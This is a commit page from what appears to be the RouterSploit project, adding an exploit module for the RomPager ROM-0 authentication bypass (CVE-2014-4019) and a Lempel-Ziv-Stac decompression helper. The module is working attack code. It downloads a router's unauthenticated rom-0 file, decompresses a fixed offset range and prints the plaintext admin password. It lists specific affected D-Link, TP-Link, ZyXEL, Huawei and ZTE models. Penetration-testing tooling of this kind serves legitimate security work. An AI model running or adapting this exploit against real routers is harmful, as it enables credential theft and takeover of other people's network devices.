Commit b94875ca by Mariusz Kupidura Committed by GitHub

Merge pull request #150 from 0BuRner/multi-rom0

RomPager rom-0 admin password disclosure exploit
parents b024226a 8820ad6e
import io
import re
from routersploit import (
exploits,
print_status,
print_error,
print_success,
http_request,
mute,
validators,
)
from routersploit.utils import lzs
class Exploit(exploits.Exploit):
"""
Exploit implementation for RomPager ROM-0 authentication bypass vulnerability.
If the target is vulnerable it allows to download rom file and extract plaintext password.
"""
__info__ = {
'name': 'RomPager ROM-0',
'description': 'Exploits RomPager ROM-0 authentication bypass vulnerability that allows downloading rom file and extract password without credentials.',
'authors': [
'0BuRner', # routersploit module
],
'references': [
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-4019',
'http://www.osvdb.org/show/osvdb/102668',
'https://dariusfreamon.wordpress.com/tag/rompager/',
'http://rootatnasro.wordpress.com/2014/01/11/how-i-saved-your-a-from-the-zynos-rom-0-attack-full-disclosure/',
'https://antoniovazquezblanco.github.io/docs/advisories/Advisory_RomPagerXSS.pdf',
],
'devices': [
'AirLive WT-2000ARM (2.11.6.0(RE0.C29)3.7.6.1)',
'D-Link DSL-2520U (1.08 Hardware Version: B1)',
'D-Link DSL-2640R',
'D-Link DSL-2740R (EU_1.13 Hardware Version: A1)',
'Huawei 520 HG',
'Huawei 530 TRA',
'Pentagram Cerberus P 6331-42',
'TP-Link TD-8816',
'TP-Link TD-8817 (3.0.1 Build 110402 Rel.02846)',
'TP-LINK TD-8840T (3.0.0 Build 101208 Rel.36427)'
'TP-Link TD-W8901G',
'TP-Link TD-W8951ND',
'TP-Link TD-W8961ND',
'ZTE ZXV10 W300 (W300V1.0.0a_ZRD_CO3)',
'ZTE ZXDSL 831CII (ZXDSL 831CIIV2.2.1a_Z43_MD)'
'ZynOS',
'ZyXEL ES-2024',
'ZyXEL Prestige P-2602HW',
'ZyXEL Prestige 782R',
],
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
if self.check():
print_success("Target is vulnerable")
print_status("Downloading rom-0 file...")
url = "{}:{}/rom-0".format(self.target, self.port)
response = http_request(method="GET", url=url)
response.raise_for_status()
with io.BytesIO(response.content) as f:
print_status("Extracting password from file...")
password = self.extract_password(f)
print_success("Router password is: {}".format(password))
else:
print_error("Target is not vulnerable")
@staticmethod
def extract_password(fhandle):
fpos = 8568
fend = 8788
chunk = "*"
amount = 221
fhandle.seek(fpos)
while fpos < fend:
if fend - fpos < amount:
amount = fend - fpos
chunk = fhandle.read(amount)
fpos += len(chunk)
# Decompress chunk
result, window = lzs.LZSDecompress(chunk)
print_status('Decompressed chunk: {0}'.format(result))
# Extract plaintext password
res = re.findall(b'([\040-\176]{5,})', result)
return res[0]
@mute
def check(self):
url = "{}:{}/rom-0".format(self.target, self.port)
response = http_request(method="HEAD", url=url)
if response is None:
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200:
return True
return False
# !/usr/bin/env python
# -*- coding:utf-8 -*-
##############################################################
# Lempel-Ziv-Stac decompression
# BitReader and RingList classes
#
# Copyright (C) 2011 Filippo Valsorda - FiloSottile
# filosottile.wiki gmail.com - www.pytux.it
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see &lt;http://www.gnu.org/licenses/&gt;.
#
##############################################################
import collections
class BitReader:
"""
Gets a string or a iterable of chars (also mmap)
representing bytes (ord) and permits to extract
bits one by one like a stream
"""
def __init__(self, bytes):
self._bits = collections.deque()
for byte in bytes:
byte = ord(byte)
for n in xrange(8):
self._bits.append(bool((byte >> (7 - n)) & 1))
def getBit(self):
return self._bits.popleft()
def getBits(self, num):
res = 0
for i in xrange(num):
res += self.getBit() << num - 1 - i
return res
def getByte(self):
return self.getBits(8)
def __len__(self):
return len(self._bits)
class RingList:
"""
When the list is full, for every item appended
the older is removed
"""
def __init__(self, length):
self.__data__ = collections.deque()
self.__full__ = False
self.__max__ = length
def append(self, x):
if self.__full__:
self.__data__.popleft()
self.__data__.append(x)
if self.size() == self.__max__:
self.__full__ = True
def get(self):
return self.__data__
def size(self):
return len(self.__data__)
def maxsize(self):
return self.__max__
def __getitem__(self, n):
if n >= self.size():
return None
return self.__data__[n]
def LZSDecompress(data, window=RingList(2048)):
"""
Gets a string or a iterable of chars (also mmap)
representing bytes (ord) and an optional
pre-populated dictionary; return the decompressed
string and the final dictionary
"""
reader = BitReader(data)
result = ''
while True:
bit = reader.getBit()
if not bit:
char = reader.getByte()
result += chr(char)
window.append(char)
else:
bit = reader.getBit()
if bit:
offset = reader.getBits(7)
if offset == 0:
# EOF
break
else:
offset = reader.getBits(11)
lenField = reader.getBits(2)
if lenField < 3:
lenght = lenField + 2
else:
lenField <<= 2
lenField += reader.getBits(2)
if lenField < 15:
lenght = (lenField & 0x0f) + 5
else:
lenCounter = 0
lenField = reader.getBits(4)
while lenField == 15:
lenField = reader.getBits(4)
lenCounter += 1
lenght = 15 * lenCounter + 8 + lenField
for i in xrange(lenght):
char = window[-offset]
result += chr(char)
window.append(char)
return result, window
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment